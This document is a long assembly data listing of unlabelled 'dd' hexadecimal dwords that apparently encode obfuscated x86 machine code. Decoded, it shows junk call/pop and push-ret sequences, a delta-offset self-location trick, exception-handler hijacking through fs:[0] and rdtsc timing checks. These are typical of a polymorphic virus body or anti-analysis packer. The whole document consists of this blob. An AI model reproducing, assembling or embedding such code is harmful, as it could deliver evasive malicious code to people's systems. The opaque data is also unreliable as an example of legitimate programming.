		dd 0B5090000h, 5E70D3Dh, 0DFD85C7h, 5E7h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0E993DEC3h, 0FFFFF3BEh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 7AC35040h, 0AEDBA021h, 8BF8B70Fh, 57006AC1h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 9C9E21Eh, 0BD8BAD7Ch, 5E712A1h, 1AF9858Dh, 9D8B05E7h
		dd 5E72D89h, 0BF606050h, 30CC9523h, 61F88B66h, 24048961h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0FBC35141h
		dd 8D893861h, 5E7020Dh,	66EAE380h, 6AE183BFh, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 6B4CDA7Eh, 2DF818Fh,	6A1B522Eh, 7858D00h, 6A05EB94h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0B46CC351h, 0AF59D89h, 0C08305E7h, 50FE8A05h
		dd 0F240489h, 6ADEBFh, 16E19D8Bh, 6A05E7h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0FC35242h, 0B43DDDD6h
		dd 95E3C92Ch, 2C219D8Bh, 95FF05E7h, 5E702C5h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 48C35242h, 0BFBACFD8h
		dd 8D8D1162h, 5EA9514h,	0B531D98Bh, 5E701E1h, 6AD1FFh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0CC381DC3h, 514BF913h, 0F1BD835Fh, 105E707h,	82850Fh
		dd 26A0000h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	0A8C35242h, 87324864h, 6890FF0h, 89000000h, 0E70621BDh
		dd 0E8509005h, 9, 1F49C398h, 0E5A53539h, 5F5B523Dh, 6A90505Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 31D3C353h, 4E3D9FD6h, 66A9A24Fh, 0E379D781h
		dd 4195FFh, 9E905E7h, 5E000000h, 0DB9416EAh, 0E21ED562h
		dd 0D83E9h, 0E800h, 815D0000h, 0EB9411EDh, 0BD9D8B05h
		dd 6005E71Ch, 2819B589h, 0C68105E7h, 6BF0B0C0h,	5B858D61h
		dd 6A05EA8Fh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 4803C357h, 3DBFBB6Bh, 0E850B2AEh
		dd 11h,	5584719h, 3E73082Ch, 0CB56F263h, 468DAD2h, 86BF666Dh
		dd 4895FFCh, 52006A24h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 67AE5D0h,	70AB3802h, 8529A430h, 5E70F31h
		dd 35FF64h, 8B000000h, 0E71C759Dh, 25896405h, 0
		dd 11E8h, 0E1566800h, 35235E9Fh, 0E0029E57h, 922BC81Ah
		dd 0DF812713h, 654E5AC6h, 0E185FF5Bh, 6A05E71Ch, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 59F6C351h, 8B3C6992h, 0E701B1BDh, 6AFF6A05h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0B65CC356h, 0E4738EE0h, 0F98BE927h, 129DB5FFh, 0B53105E7h
		dd 5E7257Dh, 29C195FFh,	59E905E7h, 0F5000001h, 0FE8B00B0h
		dd 8E870E6h, 42000000h,	9AA9619Ah, 1AB2206h, 0E72C218Dh
		dd 71E45B05h, 2818D89h,	0BEBF05E7h, 3C6F4C3Ch, 29830F61h
		dd 89000001h, 0E70BA59Dh, 0C8B60F05h, 6BAF5h, 0BB660000h
		dd 0C18B7E3Ah, 1EC78166h, 4E8C131h, 85296052h, 5E71355h
		dd 8BDB503h, 5B6105E7h,	66E2F766h, 0F4ED0BBh, 680h, 0D952900h
		dd 2B05E709h, 119D8BC8h, 8B05E716h, 11E9D1h, 0DC430000h
		dd 3901F18Ah, 7205FE37h, 0E57E75A9h, 0E9987818h, 17h, 0E8585360h
		dd 8, 2458401Eh, 4E2D1D60h, 8166615Eh, 8B2EE8DBh, 0E7316185h
		dd 3DBD8B05h, 8305E70Dh, 38B307C0h, 0F00C083h, 68Ch, 0B5BD8B00h
		dd 6605E723h, 3BD9A7BBh, 19830FD0h, 60000000h, 0AB59D8Bh
		dd 0BD8B05E7h, 5E70D89h, 6EE961h, 0BD230000h, 5E71585h
		dd 26518D8Bh, 8B6005E7h, 0E72041BDh, 0B6BB6005h, 0E8553782h
		dd 13h,	0C2FDBE24h, 6B005FF2h, 30EFDA33h, 1837832Dh, 5B15FB7Ah
		dd 0D88B6161h, 0F01E183h, 2F84h, 0C9958900h, 8305E730h
		dd 0E72651A5h, 6660FE05h, 0B58EF5BEh, 95896164h, 5E73161h
		dd 3880Fh, 0BF0F0000h, 63E381DEh, 0E92F63A4h, 0
		dd 0FF55B58Dh, 6A05EAh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0D6B7AC3h, 0BD8B39D0h, 5E72E69h
		dd 0BF66006Ah, 95FFD63Eh, 5E71A1Dh, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 36C35545h, 8B40C054h, 0E712959Dh
		dd 72DB905h, 8B660000h,	0FCE183DAh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 53C35646h, 72FDAE0Eh, 9D8B30B1h
		dd 5E73245h, 95EB3FCh, 0E72C8D9Dh, 0B805h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 540C0EC3h, 0D82C3556h, 0A1852923h, 2B05E713h, 859D23D2h
		dd 2905E72Eh, 0E732459Dh, 0C233AD05h, 0D003E8D1h, 7504E983h
		dd 0E1BD8BF4h, 5605E707h, 6840Fh, 0D3810000h, 7191F78Fh
		dd 880D5Bh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 1DA05C3h, 85418ACCh, 2315958Bh
		dd 6A05E7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0BB6613C3h, 8D8B0F97h, 5E708B9h, 49A1BB66h
		dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h,	6A5818h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 5484DC3h, 2BE6FA5Ch,	52BF9680h, 0BF5EE830h, 5426B395h
		dd 0F1858957h, 5B05E72Ch, 211DBD83h, 0F0005E7h,	7884h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1D04h
		dd 0C3554500h, 0CEBCACD8h, 0B1141E2Fh, 14E9E902h, 0E3000000h
		dd 0F4C9B7E3h, 0E469EA73h, 4FE21CF5h, 74F1E716h, 0B879E1E8h
		dd 0
		dd 59DBD8Bh, 8D8D05E7h,	5E74DFAh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 5DC35040h, 0FF2F7CC3h, 2880FE1h
		dd 8B000000h, 99BD83DAh, 5E70Ch, 47A840Fh, 0CE90000h, 0F7000000h
		dd 6B01B372h, 65DC54E2h, 836FCADDh, 0E70C99BDh,	840F0105h
		dd 477h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 17h,	0D7C35646h, 8372A530h, 0E70C99BDh, 860F0305h, 415h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0A3C35343h
		dd 1F3959DFh, 0CE9BD8Bh, 895605E7h, 0E715799Dh,	6A605B05h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 8F85C357h, 8DFEEF88h, 0F23FC56h, 384h, 5FF95100h
		dd 3261BD8Bh, 816605E7h, 66191FD7h, 6AD98Ch, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0F88A25C3h
		dd 0F04E180h, 0C90AFEB7h, 13D840Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 12B512C3h
		dd 176A4EDEh, 25AD9D8Bh, 858B05E7h, 5E7072Dh, 2E818533h
		dd 6A05E7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 0CB7CFFC3h, 0BD8B42F0h, 5E7321Dh,	5BE3BB90h
		dd 0BF50424Ch, 1D580648h, 0ED9D8990h, 8905E70Eh, 0E725D595h
		dd 89006A05h, 0E7059595h, 4E805h, 3FF0000h, 0B350001Fh
		dd 24448B56h, 66525004h, 0F5C6EBFh, 28A0F31h, 50000000h
		dd 8B585A5Bh, 89DA8B00h, 66042444h, 6A58D88Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 0E2D4C351h, 0E595FF17h, 6A05E720h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 53F7C350h
		dd 0E84DB613h, 0Dh, 9FBC6B6Bh, 0B9FA5143h, 4AE348EBh, 0DE967h
		dd 42010000h, 3F200780h, 1EDDD13Ah, 5BBE817Ah, 0A3508589h
		dd 0BF6605EAh, 0E2E917CFh, 8B000001h, 0E708F59Dh, 0BE805h
		dd 5B710000h, 0A0E9DCB8h, 9CBD8393h, 0E3816655h, 8B5FB170h
		dd 0EAA34885h, 0A1858905h, 0C705E706h, 1800h, 0D5B58900h
		dd 8B05E712h, 0EAA34CB5h, 1D9D2905h, 8B05E704h,	0E7008185h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 4B932860h, 0ED5C26A8h, 689D7C1h,	8A19531h
		dd 858B05E7h, 5E7072Dh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 0B5C35141h, 0FA47BFBBh, 446896Ch, 12E8h
		dd 0BE715300h, 0B9959EA0h, 0CAD1719Ch, 12CB16CBh, 66A6F984h
		dd 8F8C781h, 9E8965Bh, 0E7000000h, 0B1CAF71Fh, 0E433BDF8h
		dd 5F575250h, 5B57310Fh, 505F585Ah, 6A96DA8Bh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 9D64C351h, 0BF0F7A5Ah, 48B5FFDEh, 6A05EAA3h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 1372C352h, 8B571D07h, 0DE8A5BDAh, 4E8h, 1F03FF00h, 0BABB6600h
		dd 448B5076h, 73BF0424h, 8B08A6FFh, 820F00h, 89000000h
		dd 50042444h, 60525052h, 0E8310F61h, 7,	59EBF81Fh, 5B1603FDh
		dd 310F585Ah, 585A15B7h, 9DC38158h, 8D3081B8h, 0EAA35085h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 85294796h, 5E713B5h, 0FE850h, 4D930000h
		dd 0AB548F81h, 5A1F77Ch, 628A6FABh, 0F88B66EEh,	2404895Fh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 9EC35141h
		dd 0EC472DECh, 0BF49A384h, 0E595FF3Bh, 305E720h, 0E720F99Dh
		dd 89F56105h, 0E70EAD8Dh, 9985C705h, 305E70Ch, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 0BD46C351h, 0AD506A61h, 11B58915h, 8305E709h
		dd 0EAA350BDh, 840F0005h, 35h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 46C35545h, 0C42B1AD5h, 5CB0BF66h
		dd 27E9h, 7E900h, 83330000h, 9867DE1Dh,	0C3050BCh, 11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 0F543BF51h, 6A5B7B82h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 8256C353h, 0BC1CEF36h, 0E37FF0DEh, 0C99BD83h
		dd 0F0305E7h, 3B585h, 0BE900h, 3180000h, 0B0DEFC03h, 0E3CDAA54h
		dd 50BD83F9h, 5EAA3h, 398840Fh,	8F0F0000h, 9, 3820Fh, 0F3800000h
		dd 50B5FFB5h, 6A05EAA3h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 8171C357h, 6995FFCBh
		dd 6A05E72Dh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1B042444h, 41000000h, 0C101C351h, 0EB80DE3h,	0B58B9CC5h
		dd 5EAA344h, 30D78166h,	106C7C8h, 8B000100h, 0E72D41BDh
		dd 0BF665005h, 3489AAF0h, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 11C5BF3Ah
		dd 0B5FF1D3Dh, 5EAA350h, 0F5D9D33h, 95FF05E7h, 5E7247Dh
		dd 0FBB70F51h, 44B58B5Fh, 8B05EAA3h, 0E72E6D9Dh, 0CD858B05h
		dd 8905E703h, 0C486h, 11E800h, 356F0000h, 778B887Bh, 0A4B60819h
		dd 0B43C1361h, 0E98A89EDh, 0Ch,	0C63E0C98h, 26C0CA44h
		dd 0D114FE64h, 15958B5Bh, 6A05E723h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 46CBC353h
		dd 0FA243A58h, 4C2831Eh, 1C1DBD8Bh, 508905E7h, 11E920h
		dd 0E150000h, 4E315B18h, 0ACF4A49Bh, 0A29F058h,	8D6CC3CDh
		dd 0EAB73285h, 50006A05h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 7B0625C6h, 8B535963h
		dd 0E716699Dh, 86895B05h, 0B8h,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 82C35343h, 2E41457Fh, 60CA2C5Fh
		dd 8AFFBF0Fh, 6A61C1h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 0C9C35040h, 0B86660F0h, 9D8B49ECh, 5E72DC9h
		dd 0ED9D8B61h, 0FF05E72Dh, 0EAA350B5h, 55006A05h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
		dd 73E2D805h, 4195FF18h, 6A05E700h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 56AEC356h
		dd 1900BD9Fh, 449BD89h,	509605E7h, 0CE8B6660h, 61F08B66h
		dd 58D0F96h, 0BF000000h, 47F6A26Eh, 0A350B5FFh,	95FF05EAh
		dd 5E72A09h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	0AAC35646h, 326D16D5h, 0BD8384BAh, 5E704F9h, 49840F00h
		dd 80000000h, 5096B9DFh, 46D2BF52h, 310F4279h, 8D0F56h
		dd 5B000000h, 0F50585Ah, 386h, 0D98B6600h, 52006A96h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
		dd 0AB25DD0Eh, 5436B94Fh
		dd 0D88B66C0h, 0A350B5FFh, 6A05EAh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0D6AA2FC3h
		dd 2E498D89h, 95FF05E7h, 5E7071Dh, 0BE9h, 0AC862E00h, 0A09E05D2h
		dd 9374723Eh, 0A350B5FFh, 858905EAh, 5E71669h, 0CC595FFh
		dd 6A05E7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 6A29AC3h,	0C838D97Ah, 83B55ED9h, 0E725CDBDh
		dd 840F0205h, 2Eh, 2C718589h, 858B05E7h, 5E70651h, 5E8h
		dd 64BA9200h, 5E8FF52h,	0E0000000h, 905FC2F8h, 329BD8Bh
		dd 5F5B05E7h, 660000C6h, 85C7D98Bh, 5E70DFDh, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0BC35545h
		dd 12BDBD8Bh, 9EE905E7h, 6AFFFFF3h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 6895C350h
		dd 92254A69h, 0C18B705Dh, 6810Fh, 9D2B0000h, 5E706D9h
		dd 1AF9858Dh, 810F05E7h, 6, 3DA2F781h, 53502AD6h, 8E850h
		dd 6D6D0000h, 126788F7h, 5B5BE7A8h, 2404895Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 9EC35646h, 662C3B31h
		dd 0C3D2537h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 8C7FF3C3h, 66828E01h, 6AF98Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 7CC35242h, 0EA802F50h
		dd 0A473CE58h, 0D3B9BB66h, 0A39A858Dh, 6A05EBh,	3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0EBBF79C3h, 57223AE6h, 21199D89h, 0C08305E7h, 0F9B70F05h
		dd 0F98B5090h, 7E96090h, 74000000h, 64B98D33h, 0BF0F4B4Bh
		dd 6A61F2h, 0E898D89h, 8B0F05E7h, 6, 2A318D89h,	6A05E7h
		dd 82B86660h, 35B58B09h, 6105E720h, 2C595FFh, 9D8905E7h
		dd 5E73261h, 95148D8Dh,	6A05EAh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 0D1FF7EC3h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 5DC35545h, 0BD83B270h
		dd 5E707F1h, 0A8850F01h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 808EC355h
		dd 880F1BD3h, 0Ch, 6890Fh, 820F0000h, 0
		dd 0BF0F026Ah, 0E96090F9h, 12h,	0EB3CB83Bh, 687DA6EDh
		dd 0CEF99C81h, 0D4263002h, 5061D542h, 56006A90h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 0E7ADFA6Dh, 0A099BD6Eh, 11E8E3h, 8E290000h, 9D9F761Ah
		dd 0A2015813h, 0B021EA1Bh, 0FFFB531h, 58Dh, 0F7816600h
		dd 0FF5F47BEh, 0E7004195h, 4800F05h, 66000000h,	0E97EC6BBh
		dd 0CE7h, 0E8h,	0ED815D00h, 5EBA3A4h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 49C35646h, 8D4CB8EBh, 0EA8F5B85h
		dd 0B5BD2905h, 5005E716h, 48984B3h, 56006A24h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 197E4175h
		dd 35FF64B1h, 0
		dd 10E9h, 0B14D4300h, 0E50E9879h, 0C459F0A8h, 1F07F551h
		dd 258964D7h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0C2C35747h
		dd 0C2822A10h, 63C7AC91h, 0E185FFC5h, 6A05E71Ch, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 310FC350h, 0B245665Ah, 13E01170h, 0F381FF6Ah, 79F1E28Fh
		dd 31DDB5FFh, 6A05E7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 30F16BC3h, 4BDBD89h, 95FF05E7h
		dd 5E729C1h, 12DE9h, 0DF816600h, 0B00A61h, 2BBD9589h, 70E605E7h
		dd 5237FFBFh, 8171E47Ah, 0ADC492C7h, 0F613C5Ah,	10983h
		dd 0FFA8B00h, 14E9C8B6h, 71000000h, 74942902h, 8AB4330Dh
		dd 0FDE05BB9h, 14A69284h, 0BAA2A999h, 6, 17019D33h, 0C18B05E7h
		dd 0C2DB531h, 5B5605E7h, 0E904E8C1h, 0Dh, 5D1F0DA8h, 0DCCB883Bh
		dd 441D41B2h, 0E2F7669Bh, 5BD0BF8h, 2B05E72Fh, 0B1BD8BC8h
		dd 8B05E72Dh, 0EE9D1h, 0F8BE0000h, 0A454CA00h, 23D7025Fh
		dd 0D87CFEFCh, 12E9h, 0C8B0F00h, 0F000000h, 685h, 0B0C38100h
		dd 8B5E10B5h, 0E70EC585h, 7C08305h, 10E9h, 204B0B00h, 0ECCC0393h
		dd 73609ADBh, 14B8E316h, 0C0837Bh, 0C558D09h, 0D03B05E7h
		dd 22830Fh, 9E80000h, 0BD000000h, 5D04D8F7h, 50C0C442h
		dd 699D3353h, 5B05E705h, 38E95Fh, 95890000h, 5E73259h
		dd 97D8D8Bh, 858905E7h,	5E721A5h, 0F01E183h, 1D84h, 0C3816600h
		dd 0A583F767h, 5E7097Dh, 714BBFFEh, 95894ABAh, 5E70EC5h
		dd 0E9FCh, 0B58D0000h, 5EB0800h, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 14h, 0B8C35646h,	0DE9h, 6290A100h
		dd 1DE411ECh, 20060809h, 0BD2B9784h, 5E71C65h, 21258589h
		dd 6A05E7h, 0FFF8BF0Fh,	0E71A1D95h, 0DD9D8B05h,	0B905E720h
		dd 83Ch, 2F89BD29h, 0E18305E7h,	14E9FCh, 7BB10000h, 0E73F0334h
		dd 0C2A45910h, 1DEB0C53h, 0B651E7B6h, 0E9BF4FC3h, 0FC53CF53h
		dd 15B9BD89h, 0C02B05E7h, 0BAh,	0F7816600h, 33AD6E2Ah
		dd 3E8D1C2h, 4E983D0h, 9D8BF475h, 5E71A01h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 8CC35141h, 1F41A496h
		dd 830F9DA1h, 2, 0B70FFB8Bh, 880DDBh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 884308C3h, 3C99D8Bh,	958B05E7h, 5E72315h, 64DB589h
		dd 8D8B05E7h, 5E708B9h,	50FFB70Fh, 188BC28Bh, 188BC103h
		dd 0E8D1C18Bh, 188BC203h, 52006A58h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 7E92Bh, 0DA100000h
		dd 43E9D1AEh, 6AFA8BBBh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 43E8C350h, 6603CEA8h
		dd 0BD83FA8Bh, 5E7211Dh, 5E840F00h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 327BC352h, 9978FFE8h, 524743D5h, 0B8h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
		dd 8660A79Eh, 4CDFF07Eh, 0FA8D8D7Eh, 6605E74Dh,	0E1FFF98Bh
		dd 1850C4BFh, 99BD8348h, 5E70Ch, 3DD840Fh, 0F3810000h
		dd 36D53A9Ch, 6E9h, 5F011F00h, 83C8B959h, 0E70C99BDh, 840F0105h
		dd 3DAh, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 18h,	76C35242h, 59ABDF65h, 0C99BD83h, 0F0305E7h, 37786h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 0E3EC9401h, 82F8BFCEh, 66607277h, 6727EF81h
		dd 0E9D98C66h, 11h, 716FF863h, 0FED7F782h, 596A70A5h, 0AF24355Eh
		dd 4E180C5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 15h,	2EC35545h, 0FC90BB45h, 0C90A3643h, 12B840Fh, 0BD890000h
		dd 5E71691h, 72D858Bh, 6A05E7h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 3BD501C3h, 0B0E79F40h
		dd 8B97F947h, 0E70131BDh, 0E688BF05h, 8533075Dh, 5E72E81h
		dd 0CF80F88Ah, 0CE9907Dh, 33000000h, 46248676h,	541493A3h
		dd 5085619Eh, 0E89FB660h, 0Ch, 2E645665h, 25B92CC4h, 36A8FB0Fh
		dd 870Fh, 615F0000h, 56006A90h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 6AFA8B3Bh, 5E800h, 4300000h
		dd 5BD66B75h, 4138F968h, 0FE8B3h, 4540000h, 0C6AF0F19h
		dd 342CD1FBh, 3CFBC3C2h, 77EDBB5Ch, 815F4119h, 0CB062404h
		dd 85894CDDh, 5E72D61h,	20E595FFh, 6A05E7h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 667270C3h
		dd 0B5B529EDh, 8905E713h, 0EAA35085h, 3FA8B05h,	0E70421BDh
		dd 173E905h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 246358C3h, 48858B4Dh, 6A05EAA3h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 1899C351h, 20D9589h, 0C705E7h, 18h, 0B874BB66h
		dd 0A34CB58Bh, 12E905EAh, 3A000000h, 7907EF27h,	0C5DAC1A6h
		dd 2858F460h, 5467DABBh, 81858B03h, 0E805E700h,	5, 89BCDD8Fh
		dd 55BD8BFBh, 5B05E725h, 6A0689h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 36DC2FC3h, 81661751h
		dd 8BFB80E3h, 0E7072D85h, 52006A05h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 9AB79EF2h
		dd 0B5895152h, 5E72B71h, 46895F5Fh, 66509604h, 961E7ABFh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 78C35242h
		dd 49894AA5h, 39610A95h, 48B5FF57h, 905EAA3h, 0E7258595h
		dd 4E805h, 3FF0000h, 5F57001Fh,	24448B50h, 2870F04h, 0B3000000h
		dd 66008B89h, 891868BFh, 0E9042444h, 11h, 7FC4CFE2h, 8EDB4017h
		dd 0F2E84F74h, 0B52A75BDh, 0BD8B589Ah, 5E72585h, 0A350858Dh
		dd 850105EAh, 5E721ADh,	89905090h, 0E72D19BDh, 0E595FF05h
		dd 8B05E720h, 6A61DEh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 0B5205DC3h, 578F9A98h, 81F88178h
		dd 5A0E31C7h, 9985C713h, 305E70Ch, 66000000h, 0E9E90FBBh
		dd 0Bh,	296570A6h, 9A8C4255h, 830FD98Bh, 0EAA350BDh, 840F0005h
		dd 30h,	0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h
		dd 5AC35343h, 3ABBF66h,	24E9DA8Bh, 1000000h, 0E704619Dh
		dd 5BF85305h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 8BC08B00h, 0E72F959Dh, 0BE905h, 0B9570000h, 326C5F6Eh
		dd 0C2375D03h, 52006A74h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 0AA270F81h, 0C3817F9Eh
		dd 19432448h, 5A5BD8Bh,	0BD8305E7h, 5E70C99h, 0E850F03h
		dd 6A000004h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0DB5AC356h, 863F5CB8h,	6800F63h
		dd 29000000h, 0E72A2D85h, 50BD8305h, 5EAA3h, 3D3840Fh
		dd 0BD0B0000h, 5E71B3Dh, 0A350B5FFh, 6A05EAh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 2A7E60C3h
		dd 8CE5F80h, 8B32ECD5h,	0E732599Dh, 3D9D2905h, 0FF05E70Fh
		dd 0E72D6995h, 0FE905h,	0B4C0000h, 0DB2F31EAh, 0F3F39DBFh
		dd 0EE8C7609h, 0D88B660Ah, 0A344B58Bh, 0BB6605EAh, 6C75D33h
		dd 10001h, 14E9h, 81A6B900h, 42C0C632h,	0E10C3189h, 0C7D24675h
		dd 0C270CD39h, 525096A7h, 9E9h,	17F36100h, 4A8DAA94h, 310FCBE1h
		dd 585AF98Bh, 8850F50h,	51000000h, 310F5250h, 965F585Ah
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0A7C35343h
		dd 69EC9A8Fh, 0AFFD0DC6h, 0D858944h, 0FF05E706h, 0EAA350B5h
		dd 50006A05h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0BE261A9Eh, 95FFAB8Fh, 5E7247Dh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 64C35242h, 2F2BA31Eh
		dd 9DE03B35h, 8B66D98Bh, 44B58BD8h, 0F905EAA3h,	3CD858Bh
		dd 0B70F05E7h, 0C48689F9h, 3000000h, 0E70D659Dh, 15958B05h
